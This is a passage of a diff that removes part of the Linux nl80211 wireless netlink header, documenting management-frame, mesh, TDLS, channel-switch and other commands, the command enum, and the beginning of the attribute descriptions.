- *	four bytes for vendor frames including the OUI. The registration
- *	cannot be dropped, but is removed automatically when the netlink
- *	socket is closed. Multiple registrations can be made.
- * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for
- *	backward compatibility
- * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This
- *	command is used both as a request to transmit a management frame and
- *	as an event indicating reception of a frame that was not processed in
- *	kernel code, but is for us (i.e., which may need to be processed in a
- *	user space application). %NL80211_ATTR_FRAME is used to specify the
- *	frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used
- *	to indicate on which channel the frame is to be transmitted or was
- *	received. If this channel is not the current channel (remain-on-channel
- *	or the operational channel) the device will switch to the given channel
- *	and transmit the frame, optionally waiting for a response for the time
- *	specified using %NL80211_ATTR_DURATION. When called, this operation
- *	returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the
- *	TX status event pertaining to the TX request.
- *	%NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
- *	management frames at CCK rate or not in 2GHz band.
- *	%NL80211_ATTR_CSA_C_OFFSETS_TX is an array of offsets to CSA
- *	counters which will be updated to the current value. This attribute
- *	is used during CSA period.
- * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this
- *	command may be used with the corresponding cookie to cancel the wait
- *	time if it is known that it is no longer necessary.
- * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility.
- * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame
- *	transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies
- *	the TX command and %NL80211_ATTR_FRAME includes the contents of the
- *	frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged
- *	the frame.
- * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for
- *	backward compatibility.
- *
- * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE
- * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE
- *
- * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command
- *	is used to configure connection quality monitoring notification trigger
- *	levels.
- * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This
- *	command is used as an event to indicate the that a trigger level was
- *	reached.
- * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ
- *	and the attributes determining channel width) the given interface
- *	(identifed by %NL80211_ATTR_IFINDEX) shall operate on.
- *	In case multiple channels are supported by the device, the mechanism
- *	with which it switches channels is implementation-defined.
- *	When a monitor interface is given, it can only switch channel while
- *	no other interfaces are operating to avoid disturbing the operation
- *	of any other interfaces, and other interfaces will again take
- *	precedence when they are used.
- *
- * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS
- *interface.
- *
- * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial
- *	mesh config parameters may be given.
- * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the
- *	network is determined by the network interface.
- *
- * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame
- *	notification. This event is used to indicate that an unprotected
- *	deauthentication frame was dropped when MFP is in use.
- * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame
- *	notification. This event is used to indicate that an unprotected
- *	disassociation frame was dropped when MFP is in use.
- *
- * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a
- *      beacon or probe response from a compatible mesh peer.  This is only
- *      sent while no station information (sta_info) exists for the new peer
- *      candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH,
- *      @NL80211_MESH_SETUP_USERSPACE_AMPE, or
- *      @NL80211_MESH_SETUP_USERSPACE_MPM is set.  On reception of this
- *      notification, userspace may decide to create a new station
- *      (@NL80211_CMD_NEW_STATION).  To stop this notification from
- *      reoccurring, the userspace authentication daemon may want to create the
- *      new station with the AUTHENTICATED flag unset and maybe change it later
- *      depending on the authentication result.
- *
- * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings.
- * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings.
- *	Since wireless is more complex than wired ethernet, it supports
- *	various triggers. These triggers can be configured through this
- *	command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For
- *	more background information, see
- *	http://wireless.kernel.org/en/users/Documentation/WoWLAN.
- *	The @NL80211_CMD_SET_WOWLAN command can also be used as a notification
- *	from the driver reporting the wakeup reason. In this case, the
- *	@NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason
- *	for the wakeup, if it was caused by wireless. If it is not present
- *	in the wakeup notification, the wireless device didn't cause the
- *	wakeup but reports that it was woken up.
- *
- * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver
- *	the necessary information for supporting GTK rekey offload. This
- *	feature is typically used during WoWLAN. The configuration data
- *	is contained in %NL80211_ATTR_REKEY_DATA (which is nested and
- *	contains the data in sub-attributes). After rekeying happened,
- *	this command may also be sent by the driver as an MLME event to
- *	inform userspace of the new replay counter.
- *
- * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace
- *	of PMKSA caching dandidates.
- *
- * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup).
- *	In addition, this can be used as an event to request userspace to take
- *	actions on TDLS links (set up a new link or tear down an existing one).
- *	In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested
- *	operation, %NL80211_ATTR_MAC contains the peer MAC address, and
- *	%NL80211_ATTR_REASON_CODE the reason code to be used (only with
- *	%NL80211_TDLS_TEARDOWN).
- * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. The
- *	%NL80211_ATTR_TDLS_ACTION attribute determines the type of frame to be
- *	sent. Public Action codes (802.11-2012 8.1.5.1) will be sent as
- *	802.11 management frames, while TDLS action codes (802.11-2012
- *	8.5.13.1) will be encapsulated and sent as data frames. The currently
- *	supported Public Action code is %WLAN_PUB_ACTION_TDLS_DISCOVER_RES
- *	and the currently supported TDLS actions codes are given in
- *	&enum ieee80211_tdls_actioncode.
- *
- * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP
- *	(or GO) interface (i.e. hostapd) to ask for unexpected frames to
- *	implement sending deauth to stations that send unexpected class 3
- *	frames. Also used as the event sent by the kernel when such a frame
- *	is received.
- *	For the event, the %NL80211_ATTR_MAC attribute carries the TA and
- *	other attributes like the interface index are present.
- *	If used as the command it must have an interface index and you can
- *	only unsubscribe from the event by closing the socket. Subscription
- *	is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events.
- *
- * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the
- *	associated station identified by %NL80211_ATTR_MAC sent a 4addr frame
- *	and wasn't already in a 4-addr VLAN. The event will be sent similarly
- *	to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener.
- *
- * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface
- *	by sending a null data frame to it and reporting when the frame is
- *	acknowleged. This is used to allow timing out inactive clients. Uses
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a
- *	direct reply with an %NL80211_ATTR_COOKIE that is later used to match
- *	up the event with the request. The event includes the same data and
- *	has %NL80211_ATTR_ACK set if the frame was ACKed.
- *
- * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from
- *	other BSSes when any interfaces are in AP mode. This helps implement
- *	OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME
- *	messages. Note that per PHY only one application may register.
- *
- * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether
- *      No Acknowledgement Policy should be applied.
- *
- * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels
- *	independently of the userspace SME, send this event indicating
- *	%NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the
- *	attributes determining channel width.
- *
- * @NL80211_CMD_CH_SWITCH_STARTED_NOTIFY: Notify that a channel switch
- *      has been started on an interface, regardless of the initiator
- *      (ie. whether it was requested from a remote device or
- *      initiated on our own).  It indicates that
- *      %NL80211_ATTR_IFINDEX will be on %NL80211_ATTR_WIPHY_FREQ
- *      after %NL80211_ATTR_CH_SWITCH_COUNT TBTT's.  The userspace may
- *      decide to react to this indication by requesting other
- *      interfaces to change channel as well.
- *
- * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by
- *	its %NL80211_ATTR_WDEV identifier. It must have been created with
- *	%NL80211_CMD_NEW_INTERFACE previously. After it has been started, the
- *	P2P Device can be used for P2P operations, e.g. remain-on-channel and
- *	public action frame TX.
- * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by
- *	its %NL80211_ATTR_WDEV identifier.
- *
- * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to
- *	notify userspace that AP has rejected the connection request from a
- *	station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON
- *	is used for this.
- *
- * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames
- *	for IBSS or MESH vif.
- *
- * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control.
- *	This is to be used with the drivers advertising the support of MAC
- *	address based access control. List of MAC addresses is passed in
- *	%NL80211_ATTR_MAC_ADDRS and ACL policy is passed in
- *	%NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it
- *	is not already done. The new list will replace any existing list. Driver
- *	will clear its ACL when the list of MAC addresses passed is empty. This
- *	command is used in AP/P2P GO mode. Driver has to make sure to clear its
- *	ACL list during %NL80211_CMD_STOP_AP.
- *
- * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once
- *	a radar is detected or the channel availability scan (CAC) has finished
- *	or was aborted, or a radar was detected, usermode will be notified with
- *	this event. This command is also used to notify userspace about radars
- *	while operating on this channel.
- *	%NL80211_ATTR_RADAR_EVENT is used to inform about the type of the
- *	event.
- *
- * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features,
- *	i.e. features for the nl80211 protocol rather than device features.
- *	Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap.
- *
- * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition
- *	Information Element to the WLAN driver
- *
- * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver
- *	to the supplicant. This will carry the target AP's MAC address along
- *	with the relevant Information Elements. This event is used to report
- *	received FT IEs (MDIE, FTIE, RSN IE, TIE, RICIE).
- *
- * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running
- *	a critical protocol that needs more reliability in the connection to
- *	complete.
- *
- * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can
- *	return back to normal.
- *
- * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules.
- * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules.
- *
- * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the
- *	the new channel information (Channel Switch Announcement - CSA)
- *	in the beacon for some time (as defined in the
- *	%NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the
- *	new channel. Userspace provides the new channel information (using
- *	%NL80211_ATTR_WIPHY_FREQ and the attributes determining channel
- *	width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform
- *	other station that transmission must be blocked until the channel
- *	switch is complete.
- *
- * @NL80211_CMD_VENDOR: Vendor-specified command/event. The command is specified
- *	by the %NL80211_ATTR_VENDOR_ID attribute and a sub-command in
- *	%NL80211_ATTR_VENDOR_SUBCMD. Parameter(s) can be transported in
- *	%NL80211_ATTR_VENDOR_DATA.
- *	For feature advertisement, the %NL80211_ATTR_VENDOR_DATA attribute is
- *	used in the wiphy data as a nested attribute containing descriptions
- *	(&struct nl80211_vendor_cmd_info) of the supported vendor commands.
- *	This may also be sent as an event with the same attributes.
- *
- * @NL80211_CMD_SET_QOS_MAP: Set Interworking QoS mapping for IP DSCP values.
- *	The QoS mapping information is included in %NL80211_ATTR_QOS_MAP. If
- *	that attribute is not included, QoS mapping is disabled. Since this
- *	QoS mapping is relevant for IP packets, it is only valid during an
- *	association. This is cleared on disassociation and AP restart.
- *
- * @NL80211_CMD_ADD_TX_TS: Ask the kernel to add a traffic stream for the given
- *	%NL80211_ATTR_TSID and %NL80211_ATTR_MAC with %NL80211_ATTR_USER_PRIO
- *	and %NL80211_ATTR_ADMITTED_TIME parameters.
- *	Note that the action frame handshake with the AP shall be handled by
- *	userspace via the normal management RX/TX framework, this only sets
- *	up the TX TS in the driver/device.
- *	If the admitted time attribute is not added then the request just checks
- *	if a subsequent setup could be successful, the intent is to use this to
- *	avoid setting up a session with the AP when local restrictions would
- *	make that impossible. However, the subsequent "real" setup may still
- *	fail even if the check was successful.
- * @NL80211_CMD_DEL_TX_TS: Remove an existing TS with the %NL80211_ATTR_TSID
- *	and %NL80211_ATTR_MAC parameters. It isn't necessary to call this
- *	before removing a station entry entirely, or before disassociating
- *	or similar, cleanup will happen in the driver/device in this case.
- *
- * @NL80211_CMD_GET_MPP: Get mesh path attributes for mesh proxy path to
- *	destination %NL80211_ATTR_MAC on the interface identified by
- *	%NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_JOIN_OCB: Join the OCB network. The center frequency and
- *	bandwidth of a channel must be given.
- * @NL80211_CMD_LEAVE_OCB: Leave the OCB network -- no special arguments, the
- *	network is determined by the network interface.
- *
- * @NL80211_CMD_TDLS_CHANNEL_SWITCH: Start channel-switching with a TDLS peer,
- *	identified by the %NL80211_ATTR_MAC parameter. A target channel is
- *	provided via %NL80211_ATTR_WIPHY_FREQ and other attributes determining
- *	channel width/type. The target operating class is given via
- *	%NL80211_ATTR_OPER_CLASS.
- *	The driver is responsible for continually initiating channel-switching
- *	operations and returning to the base channel for communication with the
- *	AP.
- * @NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH: Stop channel-switching with a TDLS
- *	peer given by %NL80211_ATTR_MAC. Both peers must be on the base channel
- *	when this command completes.
- *
- * @NL80211_CMD_WIPHY_REG_CHANGE: Similar to %NL80211_CMD_REG_CHANGE, but used
- *	as an event to indicate changes for devices with wiphy-specific regdom
- *	management.
- *
- * @NL80211_CMD_ABORT_SCAN: Stop an ongoing scan. Returns -ENOENT if a scan is
- *	not running. The driver indicates the status of the scan through
- *	cfg80211_scan_done().
- *
- * @NL80211_CMD_MAX: highest used command number
- * @__NL80211_CMD_AFTER_LAST: internal use
- */
-enum nl80211_commands {
-  /* don't change the order or add anything between, this is ABI! */
-  NL80211_CMD_UNSPEC,
-
-  NL80211_CMD_GET_WIPHY, /* can dump */
-  NL80211_CMD_SET_WIPHY,
-  NL80211_CMD_NEW_WIPHY,
-  NL80211_CMD_DEL_WIPHY,
-
-  NL80211_CMD_GET_INTERFACE, /* can dump */
-  NL80211_CMD_SET_INTERFACE,
-  NL80211_CMD_NEW_INTERFACE,
-  NL80211_CMD_DEL_INTERFACE,
-
-  NL80211_CMD_GET_KEY,
-  NL80211_CMD_SET_KEY,
-  NL80211_CMD_NEW_KEY,
-  NL80211_CMD_DEL_KEY,
-
-  NL80211_CMD_GET_BEACON,
-  NL80211_CMD_SET_BEACON,
-  NL80211_CMD_START_AP,
-  NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP,
-  NL80211_CMD_STOP_AP,
-  NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP,
-
-  NL80211_CMD_GET_STATION,
-  NL80211_CMD_SET_STATION,
-  NL80211_CMD_NEW_STATION,
-  NL80211_CMD_DEL_STATION,
-
-  NL80211_CMD_GET_MPATH,
-  NL80211_CMD_SET_MPATH,
-  NL80211_CMD_NEW_MPATH,
-  NL80211_CMD_DEL_MPATH,
-
-  NL80211_CMD_SET_BSS,
-
-  NL80211_CMD_SET_REG,
-  NL80211_CMD_REQ_SET_REG,
-
-  NL80211_CMD_GET_MESH_CONFIG,
-  NL80211_CMD_SET_MESH_CONFIG,
-
-  NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */,
-
-  NL80211_CMD_GET_REG,
-
-  NL80211_CMD_GET_SCAN,
-  NL80211_CMD_TRIGGER_SCAN,
-  NL80211_CMD_NEW_SCAN_RESULTS,
-  NL80211_CMD_SCAN_ABORTED,
-
-  NL80211_CMD_REG_CHANGE,
-
-  NL80211_CMD_AUTHENTICATE,
-  NL80211_CMD_ASSOCIATE,
-  NL80211_CMD_DEAUTHENTICATE,
-  NL80211_CMD_DISASSOCIATE,
-
-  NL80211_CMD_MICHAEL_MIC_FAILURE,
-
-  NL80211_CMD_REG_BEACON_HINT,
-
-  NL80211_CMD_JOIN_IBSS,
-  NL80211_CMD_LEAVE_IBSS,
-
-  NL80211_CMD_TESTMODE,
-
-  NL80211_CMD_CONNECT,
-  NL80211_CMD_ROAM,
-  NL80211_CMD_DISCONNECT,
-
-  NL80211_CMD_SET_WIPHY_NETNS,
-
-  NL80211_CMD_GET_SURVEY,
-  NL80211_CMD_NEW_SURVEY_RESULTS,
-
-  NL80211_CMD_SET_PMKSA,
-  NL80211_CMD_DEL_PMKSA,
-  NL80211_CMD_FLUSH_PMKSA,
-
-  NL80211_CMD_REMAIN_ON_CHANNEL,
-  NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL,
-
-  NL80211_CMD_SET_TX_BITRATE_MASK,
-
-  NL80211_CMD_REGISTER_FRAME,
-  NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME,
-  NL80211_CMD_FRAME,
-  NL80211_CMD_ACTION = NL80211_CMD_FRAME,
-  NL80211_CMD_FRAME_TX_STATUS,
-  NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS,
-
-  NL80211_CMD_SET_POWER_SAVE,
-  NL80211_CMD_GET_POWER_SAVE,
-
-  NL80211_CMD_SET_CQM,
-  NL80211_CMD_NOTIFY_CQM,
-
-  NL80211_CMD_SET_CHANNEL,
-  NL80211_CMD_SET_WDS_PEER,
-
-  NL80211_CMD_FRAME_WAIT_CANCEL,
-
-  NL80211_CMD_JOIN_MESH,
-  NL80211_CMD_LEAVE_MESH,
-
-  NL80211_CMD_UNPROT_DEAUTHENTICATE,
-  NL80211_CMD_UNPROT_DISASSOCIATE,
-
-  NL80211_CMD_NEW_PEER_CANDIDATE,
-
-  NL80211_CMD_GET_WOWLAN,
-  NL80211_CMD_SET_WOWLAN,
-
-  NL80211_CMD_START_SCHED_SCAN,
-  NL80211_CMD_STOP_SCHED_SCAN,
-  NL80211_CMD_SCHED_SCAN_RESULTS,
-  NL80211_CMD_SCHED_SCAN_STOPPED,
-
-  NL80211_CMD_SET_REKEY_OFFLOAD,
-
-  NL80211_CMD_PMKSA_CANDIDATE,
-
-  NL80211_CMD_TDLS_OPER,
-  NL80211_CMD_TDLS_MGMT,
-
-  NL80211_CMD_UNEXPECTED_FRAME,
-
-  NL80211_CMD_PROBE_CLIENT,
-
-  NL80211_CMD_REGISTER_BEACONS,
-
-  NL80211_CMD_UNEXPECTED_4ADDR_FRAME,
-
-  NL80211_CMD_SET_NOACK_MAP,
-
-  NL80211_CMD_CH_SWITCH_NOTIFY,
-
-  NL80211_CMD_START_P2P_DEVICE,
-  NL80211_CMD_STOP_P2P_DEVICE,
-
-  NL80211_CMD_CONN_FAILED,
-
-  NL80211_CMD_SET_MCAST_RATE,
-
-  NL80211_CMD_SET_MAC_ACL,
-
-  NL80211_CMD_RADAR_DETECT,
-
-  NL80211_CMD_GET_PROTOCOL_FEATURES,
-
-  NL80211_CMD_UPDATE_FT_IES,
-  NL80211_CMD_FT_EVENT,
-
-  NL80211_CMD_CRIT_PROTOCOL_START,
-  NL80211_CMD_CRIT_PROTOCOL_STOP,
-
-  NL80211_CMD_GET_COALESCE,
-  NL80211_CMD_SET_COALESCE,
-
-  NL80211_CMD_CHANNEL_SWITCH,
-
-  NL80211_CMD_VENDOR,
-
-  NL80211_CMD_SET_QOS_MAP,
-
-  NL80211_CMD_ADD_TX_TS,
-  NL80211_CMD_DEL_TX_TS,
-
-  NL80211_CMD_GET_MPP,
-
-  NL80211_CMD_JOIN_OCB,
-  NL80211_CMD_LEAVE_OCB,
-
-  NL80211_CMD_CH_SWITCH_STARTED_NOTIFY,
-
-  NL80211_CMD_TDLS_CHANNEL_SWITCH,
-  NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH,
-
-  NL80211_CMD_WIPHY_REG_CHANGE,
-
-  NL80211_CMD_ABORT_SCAN,
-
-  /* add new commands above here */
-
-  /* used to define NL80211_CMD_MAX below */
-  __NL80211_CMD_AFTER_LAST,
-  NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1
-};
-
-/*
- * Allow user space programs to use #ifdef on new commands by defining them
- * here
- */
-#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS
-#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE
-#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE
-#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE
-#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE
-#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE
-#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE
-#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT
-
-#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
-
-/* source-level API compatibility */
-#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG
-#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG
-#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE
-
-/**
- * enum nl80211_attrs - nl80211 netlink attributes
- *
- * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors
- *
- * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf.
- *	/sys/class/ieee80211/<phyname>/index
- * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming)
- * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters
- * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz,
- *	defines the channel together with the (deprecated)
- *	%NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes
- *	%NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1
- *	and %NL80211_ATTR_CENTER_FREQ2
- * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values
- *	of &enum nl80211_chan_width, describing the channel width. See the
- *	documentation of the enum for more information.
- * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the
- *	channel, used for anything but 20 MHz bandwidth
- * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the
- *	channel, used only for 80+80 MHz bandwidth
- * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ
- *	if HT20 or HT40 are to be used (i.e., HT disabled if not included):
- *	NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including
- *		this attribute)
- *	NL80211_CHAN_HT20 = HT20 only
- *	NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel
- *	NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel
- *	This attribute is now deprecated.
- * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is
- *	less than or equal to the RTS threshold; allowed range: 1..255;
- *	dot11ShortRetryLimit; u8
- * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is
- *	greater than the RTS threshold; allowed range: 1..255;
- *	dot11ShortLongLimit; u8
- * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum
- *	length in octets for frames; allowed range: 256..8000, disable
- *	fragmentation with (u32)-1; dot11FragmentationThreshold; u32
- * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length
- *	larger than or equal to this use RTS/CTS handshake); allowed range:
- *	0..65536, disable with (u32)-1; dot11RTSThreshold; u32
- * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11
- *	section 7.3.2.9; dot11CoverageClass; u8
- *
- * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on
- * @NL80211_ATTR_IFNAME: network interface name
- * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype
- *
- * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices
- *	that don't have a netdev (u64)
- *
- * @NL80211_ATTR_MAC: MAC address (various uses)
- *
- * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of
- *	16 bytes encryption key followed by 8 bytes each for TX and RX MIC
- *	keys
- * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3)
- * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
- *	section 7.3.2.25.1, e.g. 0x000FAC04)
- * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
- *	CCMP keys, each six bytes in little endian
- * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key
- * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the
- *	default management key
- * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or
- *	other commands, indicates which pairwise cipher suites are used
- * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or
- *	other commands, indicates which group cipher suite is used
- *
- * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU
- * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing
- * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE
- * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE
- *
- * @NL80211_ATTR_STA_AID: Association ID for the station (u16)
- * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of
- *	&enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2)
- * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by
- *	IEEE 802.11 7.3.1.6 (u16).
- * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported
- *	rates as defined by IEEE 802.11 7.3.2.2 but without the length
- *	restriction (at most %NL80211_MAX_SUPP_RATES).
- * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station
- *	to, or the AP interface the station was originally added to to.
- * @NL80211_ATTR_STA_INFO: information about a station, part of station info
- *	given for %NL80211_CMD_GET_STATION, nested attribute containing
- *	info as possible, see &enum nl80211_sta_info.
- *
- * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands,
- *	consisting of a nested array.
- *
- * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes).
- * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link
- *	(see &enum nl80211_plink_action).
- * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path.
- * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path
- * 	info given for %NL80211_CMD_GET_MPATH, nested attribute described at
- *	&enum nl80211_mpath_info.
- *
- * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of
- *      &enum nl80211_mntr_flags.
- *
- * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the
- * 	current regulatory domain should be set to or is already set to.
- * 	For example, 'CR', for Costa Rica. This attribute is used by the kernel
- * 	to query the CRDA to retrieve one regulatory domain. This attribute can
- * 	also be used by userspace to query the kernel for the currently set
- * 	regulatory domain. We chose an alpha2 as that is also used by the
- * 	IEEE-802.11 country information element to identify a country.
- * 	Users can also simply ask the wireless core to set regulatory domain
- * 	to a specific alpha2.
- * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory
- *	rules.
- *
- * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1)
- * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled
- *	(u8, 0 or 1)
- * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled
- *	(u8, 0 or 1)
- * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic
- *	rates in format defined by IEEE 802.11 7.3.2.2 but without the length
- *	restriction (at most %NL80211_MAX_SUPP_RATES).
- *
- * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from
- *	association request when used with NL80211_CMD_NEW_STATION)
- *
- * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all
- *	supported interface types, each a flag attribute with the number
- *	of the interface mode.
- *
- * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for
- *	%NL80211_CMD_SET_MGMT_EXTRA_IE.
- *
- * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with
- *	%NL80211_CMD_SET_MGMT_EXTRA_IE).
- *
- * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with
- *	a single scan request, a wiphy attribute.
- * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can
- *	scan with a single scheduled scan request, a wiphy attribute.
- * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements
- *	that can be added to a scan request
